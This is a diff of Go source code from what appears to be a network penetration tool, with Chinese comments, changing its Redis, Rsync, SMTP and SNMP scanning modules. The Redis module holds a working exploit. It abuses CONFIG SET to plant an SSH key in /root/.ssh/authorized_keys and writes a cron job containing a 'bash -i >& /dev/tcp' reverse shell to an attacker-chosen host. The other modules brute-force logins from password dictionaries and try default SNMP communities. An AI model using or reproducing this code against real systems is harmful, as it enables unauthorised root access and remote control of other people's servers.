|
||||
|
||||
// 读取响应
|
||||
reply, err := readreply(conn)
|
||||
if err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
|
||||
return false, err
|
||||
}
|
||||
Common.LogDebug(fmt.Sprintf("收到响应: %s", reply))
|
||||
|
||||
// 认证成功
|
||||
if strings.Contains(reply, "+OK") {
|
||||
Common.LogDebug("认证成功,获取配置信息")
|
||||
|
||||
// 获取配置信息
|
||||
dbfilename, dir, err = getconfig(conn)
|
||||
if err != nil {
|
||||
result := fmt.Sprintf("Redis %s 发现未授权访问", realhost)
|
||||
result := fmt.Sprintf("Redis认证成功 %s [%s]", realhost, pass)
|
||||
Common.LogSuccess(result)
|
||||
return flag, err
|
||||
Common.LogDebug(fmt.Sprintf("获取配置失败: %v", err))
|
||||
return true, err
|
||||
}
|
||||
|
||||
// 输出详细信息
|
||||
result := fmt.Sprintf("Redis %s 发现未授权访问 文件位置:%s/%s", realhost, dir, dbfilename)
|
||||
result := fmt.Sprintf("Redis认证成功 %s [%s] 文件位置:%s/%s",
|
||||
realhost, pass, dir, dbfilename)
|
||||
Common.LogSuccess(result)
|
||||
|
||||
// 尝试漏洞利用
|
||||
// 尝试利用
|
||||
Common.LogDebug("尝试Redis利用")
|
||||
err = Expoilt(realhost, conn)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("Redis %s 漏洞利用失败: %v", realhost, err))
|
||||
Common.LogDebug(fmt.Sprintf("利用失败: %v", err))
|
||||
}
|
||||
return true, err
|
||||
}
|
||||
|
||||
return flag, err
|
||||
Common.LogDebug("认证失败")
|
||||
return false, err
|
||||
}
|
||||
|
||||
// Expoilt 尝试Redis漏洞利用
|
||||
func Expoilt(realhost string, conn net.Conn) error {
|
||||
Common.LogDebug(fmt.Sprintf("开始Redis漏洞利用: %s", realhost))
|
||||
|
||||
// 如果配置为不进行测试则直接返回
|
||||
if Common.DisableRedis {
|
||||
Common.LogDebug("Redis漏洞利用已禁用")
|
||||
return nil
|
||||
}
|
||||
|
||||
// 测试目录写入权限
|
||||
Common.LogDebug("测试目录写入权限")
|
||||
flagSsh, flagCron, err := testwrite(conn)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("Redis %v 测试写入权限失败: %v", realhost, err))
|
||||
@ -256,6 +264,7 @@ func Expoilt(realhost string, conn net.Conn) error {
|
||||
|
||||
// 如果指定了密钥文件则尝试写入
|
||||
if Common.RedisFile != "" {
|
||||
Common.LogDebug(fmt.Sprintf("尝试写入SSH密钥: %s", Common.RedisFile))
|
||||
writeok, text, err := writekey(conn, Common.RedisFile)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("Redis %v SSH密钥写入错误: %v %v", realhost, text, err))
|
||||
@ -267,7 +276,11 @@ func Expoilt(realhost string, conn net.Conn) error {
|
||||
} else {
|
||||
Common.LogError(fmt.Sprintf("Redis %v SSH公钥写入失败: %v", realhost, text))
|
||||
}
|
||||
} else {
|
||||
Common.LogDebug("未指定SSH密钥文件,跳过写入")
|
||||
}
|
||||
} else {
|
||||
Common.LogDebug("SSH目录不可写")
|
||||
}
|
||||
|
||||
// 定时任务写入测试
|
||||
@ -276,6 +289,7 @@ func Expoilt(realhost string, conn net.Conn) error {
|
||||
|
||||
// 如果指定了shell命令则尝试写入定时任务
|
||||
if Common.RedisShell != "" {
|
||||
Common.LogDebug(fmt.Sprintf("尝试写入定时任务: %s", Common.RedisShell))
|
||||
writeok, text, err := writecron(conn, Common.RedisShell)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("Redis %v 定时任务写入错误: %v", realhost, err))
|
||||
@ -287,76 +301,94 @@ func Expoilt(realhost string, conn net.Conn) error {
|
||||
} else {
|
||||
Common.LogError(fmt.Sprintf("Redis %v 定时任务写入失败: %v", realhost, text))
|
||||
}
|
||||
} else {
|
||||
Common.LogDebug("未指定shell命令,跳过写入定时任务")
|
||||
}
|
||||
} else {
|
||||
Common.LogDebug("Cron目录不可写")
|
||||
}
|
||||
|
||||
// 恢复数据库配置
|
||||
Common.LogDebug("开始恢复数据库配置")
|
||||
if err = recoverdb(dbfilename, dir, conn); err != nil {
|
||||
Common.LogError(fmt.Sprintf("Redis %v 恢复数据库失败: %v", realhost, err))
|
||||
} else {
|
||||
Common.LogDebug("数据库配置恢复成功")
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("Redis漏洞利用完成: %s", realhost))
|
||||
return err
|
||||
}
|
||||
|
||||
// writekey 向Redis写入SSH密钥
|
||||
func writekey(conn net.Conn, filename string) (flag bool, text string, err error) {
|
||||
Common.LogDebug(fmt.Sprintf("开始写入SSH密钥, 文件: %s", filename))
|
||||
flag = false
|
||||
|
||||
// 设置文件目录为SSH目录
|
||||
_, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n"))
|
||||
if err != nil {
|
||||
Common.LogDebug("设置目录: /root/.ssh/")
|
||||
if _, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n")); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("设置目录失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
if text, err = readreply(conn); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
// 设置文件名为authorized_keys
|
||||
if strings.Contains(text, "OK") {
|
||||
_, err = conn.Write([]byte("CONFIG SET dbfilename authorized_keys\r\n"))
|
||||
if err != nil {
|
||||
Common.LogDebug("设置文件名: authorized_keys")
|
||||
if _, err = conn.Write([]byte("CONFIG SET dbfilename authorized_keys\r\n")); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("设置文件名失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
if text, err = readreply(conn); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
// 读取并写入SSH密钥
|
||||
if strings.Contains(text, "OK") {
|
||||
// 读取密钥文件
|
||||
Common.LogDebug(fmt.Sprintf("读取密钥文件: %s", filename))
|
||||
key, err := Readfile(filename)
|
||||
if err != nil {
|
||||
text = fmt.Sprintf("读取密钥文件 %s 失败: %v", filename, err)
|
||||
Common.LogDebug(text)
|
||||
return flag, text, err
|
||||
}
|
||||
if len(key) == 0 {
|
||||
text = fmt.Sprintf("密钥文件 %s 为空", filename)
|
||||
Common.LogDebug(text)
|
||||
return flag, text, err
|
||||
}
|
||||
Common.LogDebug(fmt.Sprintf("密钥内容长度: %d", len(key)))
|
||||
|
||||
// 写入密钥
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key)))
|
||||
if err != nil {
|
||||
Common.LogDebug("写入密钥内容")
|
||||
if _, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key))); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("写入密钥失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
if text, err = readreply(conn); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
// 保存更改
|
||||
if strings.Contains(text, "OK") {
|
||||
_, err = conn.Write([]byte("save\r\n"))
|
||||
if err != nil {
|
||||
Common.LogDebug("保存更改")
|
||||
if _, err = conn.Write([]byte("save\r\n")); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("保存失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
if text, err = readreply(conn); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
Common.LogDebug("SSH密钥写入成功")
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
@ -368,45 +400,51 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
|
||||
if len(text) > 50 {
|
||||
text = text[:50]
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("写入SSH密钥完成, 状态: %v, 响应: %s", flag, text))
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
// writecron 向Redis写入定时任务
|
||||
func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
|
||||
Common.LogDebug(fmt.Sprintf("开始写入定时任务, 目标地址: %s", host))
|
||||
flag = false
|
||||
|
||||
// 首先尝试Ubuntu系统的cron路径
|
||||
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/crontabs/\r\n"))
|
||||
if err != nil {
|
||||
Common.LogDebug("尝试Ubuntu系统路径: /var/spool/cron/crontabs/")
|
||||
if _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/crontabs/\r\n")); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("设置Ubuntu路径失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
if text, err = readreply(conn); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
// 如果Ubuntu路径失败,尝试CentOS系统的cron路径
|
||||
if !strings.Contains(text, "OK") {
|
||||
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
|
||||
if err != nil {
|
||||
Common.LogDebug("尝试CentOS系统路径: /var/spool/cron/")
|
||||
if _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n")); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("设置CentOS路径失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
if text, err = readreply(conn); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
}
|
||||
|
||||
// 如果成功设置目录,继续后续操作
|
||||
if strings.Contains(text, "OK") {
|
||||
Common.LogDebug("成功设置cron目录")
|
||||
|
||||
// 设置数据库文件名为root
|
||||
_, err = conn.Write([]byte("CONFIG SET dbfilename root\r\n"))
|
||||
if err != nil {
|
||||
Common.LogDebug("设置文件名: root")
|
||||
if _, err = conn.Write([]byte("CONFIG SET dbfilename root\r\n")); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("设置文件名失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
if text, err = readreply(conn); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
@ -414,33 +452,38 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
|
||||
// 解析目标主机地址
|
||||
target := strings.Split(host, ":")
|
||||
if len(target) < 2 {
|
||||
Common.LogDebug(fmt.Sprintf("主机地址格式错误: %s", host))
|
||||
return flag, "主机地址格式错误", err
|
||||
}
|
||||
scanIp, scanPort := target[0], target[1]
|
||||
Common.LogDebug(fmt.Sprintf("目标地址解析: IP=%s, Port=%s", scanIp, scanPort))
|
||||
|
||||
// 写入反弹shell的定时任务
|
||||
Common.LogDebug("写入定时任务")
|
||||
cronCmd := fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n",
|
||||
scanIp, scanPort)
|
||||
_, err = conn.Write([]byte(cronCmd))
|
||||
if err != nil {
|
||||
if _, err = conn.Write([]byte(cronCmd)); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("写入定时任务失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
if text, err = readreply(conn); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
// 保存更改
|
||||
if strings.Contains(text, "OK") {
|
||||
_, err = conn.Write([]byte("save\r\n"))
|
||||
if err != nil {
|
||||
Common.LogDebug("保存更改")
|
||||
if _, err = conn.Write([]byte("save\r\n")); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("保存失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
if text, err = readreply(conn); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
|
||||
return flag, text, err
|
||||
}
|
||||
if strings.Contains(text, "OK") {
|
||||
Common.LogDebug("定时任务写入成功")
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
@ -452,14 +495,17 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
|
||||
if len(text) > 50 {
|
||||
text = text[:50]
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("写入定时任务完成, 状态: %v, 响应: %s", flag, text))
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
// Readfile 读取文件内容并返回第一个非空行
|
||||
func Readfile(filename string) (string, error) {
|
||||
Common.LogDebug(fmt.Sprintf("读取文件: %s", filename))
|
||||
|
||||
file, err := os.Open(filename)
|
||||
if err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("打开文件失败: %v", err))
|
||||
return "", err
|
||||
}
|
||||
defer file.Close()
|
||||
@ -468,82 +514,89 @@ func Readfile(filename string) (string, error) {
|
||||
for scanner.Scan() {
|
||||
text := strings.TrimSpace(scanner.Text())
|
||||
if text != "" {
|
||||
Common.LogDebug("找到非空行")
|
||||
return text, nil
|
||||
}
|
||||
}
|
||||
Common.LogDebug("文件内容为空")
|
||||
return "", err
|
||||
}
|
||||
|
||||
// readreply 读取Redis服务器响应
|
||||
func readreply(conn net.Conn) (string, error) {
|
||||
Common.LogDebug("读取Redis响应")
|
||||
// 设置1秒读取超时
|
||||
conn.SetReadDeadline(time.Now().Add(time.Second))
|
||||
|
||||
bytes, err := io.ReadAll(conn)
|
||||
// 如果读取到内容则不返回错误
|
||||
if len(bytes) > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("收到响应,长度: %d", len(bytes)))
|
||||
err = nil
|
||||
} else {
|
||||
Common.LogDebug("未收到响应数据")
|
||||
}
|
||||
return string(bytes), err
|
||||
}
|
||||
|
||||
// testwrite 测试Redis写入权限
|
||||
func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
|
||||
fmt.Println("开始测试Redis写入权限...")
|
||||
Common.LogDebug("开始测试Redis写入权限")
|
||||
|
||||
// 测试SSH目录写入权限
|
||||
fmt.Println("正在测试 /root/.ssh/ 目录写入权限...")
|
||||
_, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n"))
|
||||
if err != nil {
|
||||
fmt.Printf("发送SSH目录测试命令失败: %v\n", err)
|
||||
Common.LogDebug("测试 /root/.ssh/ 目录写入权限")
|
||||
if _, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n")); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("发送SSH目录测试命令失败: %v", err))
|
||||
return flag, flagCron, err
|
||||
}
|
||||
text, err := readreply(conn)
|
||||
if err != nil {
|
||||
fmt.Printf("读取SSH目录测试响应失败: %v\n", err)
|
||||
Common.LogDebug(fmt.Sprintf("读取SSH目录测试响应失败: %v", err))
|
||||
return flag, flagCron, err
|
||||
}
|
||||
fmt.Printf("SSH目录测试响应: %s\n", text)
|
||||
Common.LogDebug(fmt.Sprintf("SSH目录测试响应: %s", text))
|
||||
if strings.Contains(text, "OK") {
|
||||
flag = true
|
||||
fmt.Println("SSH目录写入权限测试成功")
|
||||
Common.LogDebug("SSH目录可写")
|
||||
} else {
|
||||
fmt.Println("SSH目录写入权限测试失败")
|
||||
Common.LogDebug("SSH目录不可写")
|
||||
}
|
||||
|
||||
// 测试定时任务目录写入权限
|
||||
fmt.Println("正在测试 /var/spool/cron/ 目录写入权限...")
|
||||
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
|
||||
if err != nil {
|
||||
fmt.Printf("发送定时任务目录测试命令失败: %v\n", err)
|
||||
Common.LogDebug("测试 /var/spool/cron/ 目录写入权限")
|
||||
if _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n")); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("发送定时任务目录测试命令失败: %v", err))
|
||||
return flag, flagCron, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
fmt.Printf("读取定时任务目录测试响应失败: %v\n", err)
|
||||
Common.LogDebug(fmt.Sprintf("读取定时任务目录测试响应失败: %v", err))
|
||||
return flag, flagCron, err
|
||||
}
|
||||
fmt.Printf("定时任务目录测试响应: %s\n", text)
|
||||
Common.LogDebug(fmt.Sprintf("定时任务目录测试响应: %s", text))
|
||||
if strings.Contains(text, "OK") {
|
||||
flagCron = true
|
||||
fmt.Println("定时任务目录写入权限测试成功")
|
||||
Common.LogDebug("定时任务目录可写")
|
||||
} else {
|
||||
fmt.Println("定时任务目录写入权限测试失败")
|
||||
Common.LogDebug("定时任务目录不可写")
|
||||
}
|
||||
|
||||
fmt.Printf("写入权限测试完成 - SSH权限: %v, Cron权限: %v\n", flag, flagCron)
|
||||
Common.LogDebug(fmt.Sprintf("写入权限测试完成 - SSH权限: %v, Cron权限: %v", flag, flagCron))
|
||||
return flag, flagCron, err
|
||||
}
|
||||
|
||||
// getconfig 获取Redis配置信息
|
||||
func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
|
||||
Common.LogDebug("开始获取Redis配置信息")
|
||||
|
||||
// 获取数据库文件名
|
||||
_, err = conn.Write([]byte("CONFIG GET dbfilename\r\n"))
|
||||
if err != nil {
|
||||
Common.LogDebug("获取数据库文件名")
|
||||
if _, err = conn.Write([]byte("CONFIG GET dbfilename\r\n")); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("获取数据库文件名失败: %v", err))
|
||||
return
|
||||
}
|
||||
text, err := readreply(conn)
|
||||
if err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取数据库文件名响应失败: %v", err))
|
||||
return
|
||||
}
|
||||
|
||||
@ -554,14 +607,17 @@ func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
|
||||
} else {
|
||||
dbfilename = text1[0]
|
||||
}
|
||||
Common.LogDebug(fmt.Sprintf("数据库文件名: %s", dbfilename))
|
||||
|
||||
// 获取数据库目录
|
||||
_, err = conn.Write([]byte("CONFIG GET dir\r\n"))
|
||||
if err != nil {
|
||||
Common.LogDebug("获取数据库目录")
|
||||
if _, err = conn.Write([]byte("CONFIG GET dir\r\n")); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("获取数据库目录失败: %v", err))
|
||||
return
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取数据库目录响应失败: %v", err))
|
||||
return
|
||||
}
|
||||
|
||||
@ -572,31 +628,37 @@ func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
|
||||
} else {
|
||||
dir = text1[0]
|
||||
}
|
||||
Common.LogDebug(fmt.Sprintf("数据库目录: %s", dir))
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
// recoverdb 恢复Redis数据库配置
|
||||
func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) {
|
||||
Common.LogDebug("开始恢复Redis数据库配置")
|
||||
|
||||
// 恢复数据库文件名
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename %s\r\n", dbfilename)))
|
||||
if err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("恢复数据库文件名: %s", dbfilename))
|
||||
if _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename %s\r\n", dbfilename))); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("恢复数据库文件名失败: %v", err))
|
||||
return
|
||||
}
|
||||
_, err = readreply(conn)
|
||||
if err != nil {
|
||||
if _, err = readreply(conn); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取恢复文件名响应失败: %v", err))
|
||||
return
|
||||
}
|
||||
|
||||
// 恢复数据库目录
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dir)))
|
||||
if err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("恢复数据库目录: %s", dir))
|
||||
if _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dir))); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("恢复数据库目录失败: %v", err))
|
||||
return
|
||||
}
|
||||
_, err = readreply(conn)
|
||||
if err != nil {
|
||||
if _, err = readreply(conn); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("读取恢复目录响应失败: %v", err))
|
||||
return
|
||||
}
|
||||
|
||||
Common.LogDebug("数据库配置恢复完成")
|
||||
return
|
||||
}
|
||||
|
@ -16,14 +16,25 @@ func RsyncScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
maxRetries := Common.MaxRetries
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
|
||||
Common.LogDebug("尝试匿名访问...")
|
||||
|
||||
// 首先测试匿名访问
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试匿名访问", retryCount+1))
|
||||
}
|
||||
|
||||
flag, err := RsyncConn(info, "", "")
|
||||
if flag && err == nil {
|
||||
Common.LogSuccess(fmt.Sprintf("Rsync服务 %v:%v 匿名访问成功", info.Host, info.Ports))
|
||||
return err
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("Rsync服务 %v:%v 匿名访问失败: %v", info.Host, info.Ports, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
return err
|
||||
@ -34,32 +45,41 @@ func RsyncScan(info *Common.HostInfo) (tmperr error) {
|
||||
break
|
||||
}
|
||||
|
||||
starttime := time.Now().Unix()
|
||||
totalUsers := len(Common.Userdict["rsync"])
|
||||
totalPass := len(Common.Passwords)
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||
|
||||
tried := 0
|
||||
total := totalUsers * totalPass
|
||||
|
||||
// 遍历所有用户名密码组合
|
||||
for _, user := range Common.Userdict["rsync"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
tried++
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
|
||||
// 检查是否超时
|
||||
if time.Now().Unix()-starttime > int64(Common.Timeout) {
|
||||
return fmt.Errorf("扫描超时")
|
||||
}
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||
}
|
||||
|
||||
// 执行Rsync连接
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
})
|
||||
}, 1)
|
||||
|
||||
go func(user, pass string) {
|
||||
flag, err := RsyncConn(info, user, pass)
|
||||
done <- struct {
|
||||
select {
|
||||
case done <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{flag && err == nil, err}
|
||||
}{flag && err == nil, err}:
|
||||
default:
|
||||
}
|
||||
}(user, pass)
|
||||
|
||||
// 等待结果或超时
|
||||
@ -68,6 +88,9 @@ func RsyncScan(info *Common.HostInfo) (tmperr error) {
|
||||
case result := <-done:
|
||||
err = result.err
|
||||
if result.success {
|
||||
successLog := fmt.Sprintf("Rsync服务 %v:%v 爆破成功 用户名: %v 密码: %v",
|
||||
info.Host, info.Ports, user, pass)
|
||||
Common.LogSuccess(successLog)
|
||||
return nil
|
||||
}
|
||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||
@ -83,7 +106,7 @@ func RsyncScan(info *Common.HostInfo) (tmperr error) {
|
||||
// 检查是否需要重试
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
return err
|
||||
continue
|
||||
}
|
||||
continue // 继续重试
|
||||
}
|
||||
@ -94,6 +117,7 @@ func RsyncScan(info *Common.HostInfo) (tmperr error) {
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||
return tmperr
|
||||
}
|
||||
|
||||
|
@ -17,13 +17,20 @@ func SmtpScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
maxRetries := Common.MaxRetries
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
|
||||
Common.LogDebug("尝试匿名访问...")
|
||||
|
||||
// 先测试匿名访问
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
flag, err := SmtpConn(info, "", "")
|
||||
if flag && err == nil {
|
||||
Common.LogSuccess("匿名访问成功!")
|
||||
return err
|
||||
}
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("smtp %v:%v anonymous %v", info.Host, info.Ports, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
return err
|
||||
@ -34,32 +41,41 @@ func SmtpScan(info *Common.HostInfo) (tmperr error) {
|
||||
break
|
||||
}
|
||||
|
||||
starttime := time.Now().Unix()
|
||||
totalUsers := len(Common.Userdict["smtp"])
|
||||
totalPass := len(Common.Passwords)
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||
|
||||
tried := 0
|
||||
total := totalUsers * totalPass
|
||||
|
||||
// 遍历所有用户名密码组合
|
||||
for _, user := range Common.Userdict["smtp"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
tried++
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
|
||||
// 检查是否超时
|
||||
if time.Now().Unix()-starttime > int64(Common.Timeout) {
|
||||
return fmt.Errorf("扫描超时")
|
||||
}
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||
}
|
||||
|
||||
// 执行SMTP连接
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
})
|
||||
}, 1)
|
||||
|
||||
go func(user, pass string) {
|
||||
flag, err := SmtpConn(info, user, pass)
|
||||
done <- struct {
|
||||
select {
|
||||
case done <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{flag, err}
|
||||
}{flag, err}:
|
||||
default:
|
||||
}
|
||||
}(user, pass)
|
||||
|
||||
// 等待结果或超时
|
||||
@ -83,7 +99,7 @@ func SmtpScan(info *Common.HostInfo) (tmperr error) {
|
||||
// 检查是否需要重试
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
return err
|
||||
continue
|
||||
}
|
||||
continue // 继续重试
|
||||
}
|
||||
@ -94,6 +110,7 @@ func SmtpScan(info *Common.HostInfo) (tmperr error) {
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||
return tmperr
|
||||
}
|
||||
|
||||
|
@ -18,30 +18,40 @@ func SNMPScan(info *Common.HostInfo) (tmperr error) {
|
||||
maxRetries := Common.MaxRetries
|
||||
portNum, _ := strconv.Atoi(info.Ports)
|
||||
defaultCommunities := []string{"public", "private", "cisco", "community"}
|
||||
starttime := time.Now().Unix()
|
||||
timeout := time.Duration(Common.Timeout) * time.Second
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
|
||||
Common.LogDebug(fmt.Sprintf("尝试默认 community 列表 (总数: %d)", len(defaultCommunities)))
|
||||
|
||||
tried := 0
|
||||
total := len(defaultCommunities)
|
||||
|
||||
// 遍历所有 community
|
||||
for _, community := range defaultCommunities {
|
||||
// 检查是否超时
|
||||
if time.Now().Unix()-starttime > int64(timeout.Seconds()) {
|
||||
return fmt.Errorf("扫描超时")
|
||||
}
|
||||
tried++
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试 community: %s", tried, total, community))
|
||||
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: community: %s", retryCount+1, community))
|
||||
}
|
||||
|
||||
// 执行SNMP连接
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
})
|
||||
}, 1)
|
||||
|
||||
go func(community string) {
|
||||
success, err := SNMPConnect(info, community, portNum)
|
||||
done <- struct {
|
||||
select {
|
||||
case done <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{success, err}
|
||||
}{success, err}:
|
||||
default:
|
||||
}
|
||||
}(community)
|
||||
|
||||
